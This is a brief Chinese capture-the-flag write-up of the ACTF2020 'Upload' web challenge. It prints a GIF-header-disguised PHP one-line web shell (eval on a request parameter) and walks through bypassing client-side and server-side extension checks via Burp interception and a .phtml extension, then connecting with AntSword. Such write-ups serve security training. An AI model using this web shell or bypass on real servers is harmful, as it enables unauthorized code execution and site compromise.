Web-[ACTF2020 新生赛]Upload

打开题目：

应该是一道文件上传题目，试着上传

GIF89a? <script language="php">eval($_REQUEST[1])</script>

结果发现不允许上传phps，请上传jpg、png、gif结尾的图片

bp没有抓到包，很明显需要一个前端绕过
试着修改文件后缀名为jpg，上传成功

抓包将文件名改为php

发现上传不成功，应该是后端过滤了php文件，换成phtml文件

上传成功，用蚁剑连接

在根目录下找到flag